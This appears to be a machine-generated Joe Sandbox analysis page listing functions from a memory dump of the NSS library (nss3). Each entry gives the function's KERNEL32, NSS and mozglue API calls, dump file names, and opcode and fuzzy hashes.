Opcode Fuzzy Hash: 8939a2901188ca5afc6785ed0984e2489253a29490d82d3eb5b2d3c82a99b300
Instruction Fuzzy Hash: 07715571A08318CFDB11CF9AC5C078AB7B4BF49718F25816DD9596BB42D770AA01CF90

Function 6CE8DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE91397,5B5F5EC0,?,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB3C
Part of subcall function 6CE8AB10: free.MOZGLUE(D958E836,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB49
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(5D5E6D08), ref: 6CE8AB5C
Part of subcall function 6CE8AB10: free.MOZGLUE(5D5E6CFC), ref: 6CE8AB63
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE8AB6F
Part of subcall function 6CE8AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE8AB76

TlsGetValue.KERNEL32(?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8E029
PK11_IsLoggedIn.NSS3 ref: 6CE8E046

Part of subcall function 6CE98F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FAF
Part of subcall function 6CE98F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FD1
Part of subcall function 6CE98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE98FFA
Part of subcall function 6CE98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99013
Part of subcall function 6CE98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99042
Part of subcall function 6CE98F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE9905A
Part of subcall function 6CE98F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE99073
Part of subcall function 6CE98F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE99111

PR_Unlock.NSS3(?,?,?,?,6CE8B266,6CE915C6,?,?,6CE915C6), ref: 6CE8E149

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a9e1337630e098a45e6fa4eb574d65936a0c2c26820ad7de40c87ce00f17c608
Instruction ID: 46ebd1c28b91eb9ab1593645163992867194293665affd83fa449eaf2fa20ab9
Opcode Fuzzy Hash: a9e1337630e098a45e6fa4eb574d65936a0c2c26820ad7de40c87ce00f17c608
Instruction Fuzzy Hash: 32513778606A01CFDB10DF29C58476ABBF1BF44318F25895CD89D8BB41D735E885CB82

Function 6CE9BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE9BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE79F71,?,?,00000000), ref: 6CE9BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE9BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE9C014

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 8806e84a94db1136109f7f4cc00b790d9f74f2c6eb0c08476ea692408efd2f5f
Instruction ID: 19fa05ee421112801d4ca42f0b2d7e9fef9687b745902127d3ebc77213dcc277
Opcode Fuzzy Hash: 8806e84a94db1136109f7f4cc00b790d9f74f2c6eb0c08476ea692408efd2f5f
Instruction Fuzzy Hash: 3541B175F012059BEB10DE66CC81BBAB7B9AF4524CF314128E91AD7B41EB31E905CBE1

Function 6CE6EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE6EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE6EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE6EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6EEEB
free.MOZGLUE(?), ref: 6CE6EEF6

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 6c131e0d4a6cd9fd72659e80767563c8d1fbc8f962366011407afb95fdfd069d
Instruction ID: fd991b6561f2822e53bc7436575b9fa1dc6f789a1458baab2e537423a0c9d982
Opcode Fuzzy Hash: 6c131e0d4a6cd9fd72659e80767563c8d1fbc8f962366011407afb95fdfd069d
Instruction Fuzzy Hash: 2C310771A60A009BEB209F2ECC497677BF4FB46318F240529E85A87F91D731E915CBD1

Function 6CE81F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE81F1C

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CF99EBC), ref: 6CE81FB8
SEC_ASN1EncodeItem_Util.NSS3(6CF99E9C,?,?,6CF99E9C), ref: 6CE8200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE82020

Part of subcall function 6CE76A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE7AD50,?,?), ref: 6CE76A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE82030

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: f61960bc0a3cf9ecdb48cd5ad552a8ea073020257691f32d870dea37423d02a8
Instruction ID: dbe2f1dcb634d73b0a344c1fc4e376bc5e644a6c5a9326fe8bc5df55547e1d27
Opcode Fuzzy Hash: f61960bc0a3cf9ecdb48cd5ad552a8ea073020257691f32d870dea37423d02a8
Instruction Fuzzy Hash: A121A575902505ABEB119A55DC41FAA7778FF5231CF340225E83C96F80E732E529C7B2

Function 6CE71DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE71E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE71E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE71E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE71E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE71EAD

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: a6bf8fa178a897fa46d9b0d8c94e83e400276e9aaf60c8d7abfcba71d90c8abf
Instruction ID: d360351e67d0ec38f9c4ea4d4d52a3e4ff2c4a3cebc198daf8422cc903ff6b98
Opcode Fuzzy Hash: a6bf8fa178a897fa46d9b0d8c94e83e400276e9aaf60c8d7abfcba71d90c8abf
Instruction Fuzzy Hash: 0121D372E08314A7D7108EA8DC51B9B73A4DB85368F254638ED6D57B80E730D909C7E2

Function 6CF81E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF81E5C

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

PR_Lock.NSS3(00000000), ref: 6CF81E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF81EAB
PR_GetCurrentThread.NSS3 ref: 6CF81ED0
PR_Unlock.NSS3(?), ref: 6CF81EE8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 19825ea1d8dc27cdbecb29f875e358b14cc675c479eea873e2f39402a7a87e57
Instruction ID: 717c7fa65026b6a27c6d60af11ead6aa0c1c6d570cb595686e74e8c7ece08c43
Opcode Fuzzy Hash: 19825ea1d8dc27cdbecb29f875e358b14cc675c479eea873e2f39402a7a87e57
Instruction Fuzzy Hash: DE21AF75A16522ABD710CF29D840A86B7B1FF44718B25C329E8299BF40D730F960CBE1

Function 6CECBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE7E708,00000000,00000000,00000004,00000000), ref: 6CECBE6A

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?), ref: 6CECBE7E

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?,?), ref: 6CECBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEEB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 8d75947b8890b19fb1003db133abcaea4a8d3be976580c971307aaffb82fcd0d
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: DC1131A6F042896BE7008965AE81F6B737D9B81B5CF340025FE3483B52E731D80487E3

Function 6CE7AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000,00000000), ref: 6CE7ADA7

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000,00000000), ref: 6CE7ADB4

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE73FFF,?,?,?,?,6CE73FFF,00000000,?,?,?,?,?,6CE71A1C,00000000), ref: 6CE7ADD5

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF994B0,?,?,?,?,?,?,?,?,6CE73FFF,00000000,?), ref: 6CE7ADEC

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE73FFF), ref: 6CE7AE3C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: d67c698f716b4db8424df64630ed124a1dfcf80d445b598a0d8f5438e6fa42d4
Instruction ID: 28ae801684712b3c472dbb2d2ecf8faa30cff9fcd40262b6f8af6632637144e4
Opcode Fuzzy Hash: d67c698f716b4db8424df64630ed124a1dfcf80d445b598a0d8f5438e6fa42d4
Instruction Fuzzy Hash: 6D113B71E002045BF7209B65AC41BBF73B8DF5125DF24462CEC1996741FB21E959C2F2

Function 6CE88FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE90710), ref: 6CE88FF1
PR_CallOnce.NSS3(6CFD2158,6CE89150,00000000,?,?,?,6CE89138,?,6CE90710), ref: 6CE89029
calloc.MOZGLUE(00000001,00000000,?,?,6CE90710), ref: 6CE8904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE90710), ref: 6CE89066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE90710), ref: 6CE89078

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ebc6f2531ce91d374fad9415b99a591f66f30996304c076e6a2873062f3d2423
Instruction ID: 8b143f66074fb0ef50f290551e96adb4c87f2fbdd2b1a16933b03aee6286f6a4
Opcode Fuzzy Hash: ebc6f2531ce91d374fad9415b99a591f66f30996304c076e6a2873062f3d2423
Instruction Fuzzy Hash: 2E110421F1211167EB201AA9AC04A6A32BCEB827ADF650131FC5CD6B80F797CD4583E1

Function 6CE9CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CEB1E10: TlsGetValue.KERNEL32 ref: 6CEB1E36
Part of subcall function 6CEB1E10: EnterCriticalSection.KERNEL32(?,?,?,6CE8B1EE,2404110F,?,?), ref: 6CEB1E4B
Part of subcall function 6CEB1E10: PR_Unlock.NSS3 ref: 6CEB1E76

free.MOZGLUE(?,6CE9D079,00000000,00000001), ref: 6CE9CDA5
PK11_FreeSymKey.NSS3(?,6CE9D079,00000000,00000001), ref: 6CE9CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE9D079,00000000,00000001), ref: 6CE9CDCF
DeleteCriticalSection.KERNEL32(?,6CE9D079,00000000,00000001), ref: 6CE9CDE2
free.MOZGLUE(?), ref: 6CE9CDE9

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 71ca3877b22aec255cbccb6d6dc1747831165b97ed1133b16ee025117bb920f9
Instruction ID: bb31fd323aefbd3b17a0e8b87336f268a1c00a05b6ec4839b2b26a4986810fc7
Opcode Fuzzy Hash: 71ca3877b22aec255cbccb6d6dc1747831165b97ed1133b16ee025117bb920f9
Instruction Fuzzy Hash: 5E11A0B2B01211ABDE00BEA5EC45AA7B77CBB042AC7200121E909D7E11E732E524C7E1

Function 6CED3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CED38A2), ref: 6CED3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6CED38A2), ref: 6CED3DBF

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CED38A2), ref: 6CED3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6CED38A2), ref: 6CED3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6CED38A2), ref: 6CED3DF8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: f1e02df19cabde21d87f7f32d8ea5b1291e0a64189425011fbfaeb629891ebc6
Instruction ID: a3c06fd7f365ed0856347994521fbf4e84b3e2d9dd6bf16e3e8be048a83d55c6
Opcode Fuzzy Hash: f1e02df19cabde21d87f7f32d8ea5b1291e0a64189425011fbfaeb629891ebc6
Instruction Fuzzy Hash: 1C0126B5B052223BFB1056765C09F3B397CDB426ACB250235FD28DB6C0EA11EC0281F1

Function 6CF02CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF02CEC

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF02D02
PR_EnterMonitor.NSS3(?), ref: 6CF02D1F
PR_ExitMonitor.NSS3(?), ref: 6CF02D42
PR_ExitMonitor.NSS3(?), ref: 6CF02D5B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 23f86f912ff768e9bfb7f380c60328073ccb2a47c651c982eeb5b5beddab3adf
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: AA01A1B1B01200ABE7309E25FC44B87B7A5EB45718F004525E85D86B20EA33F919D6A2

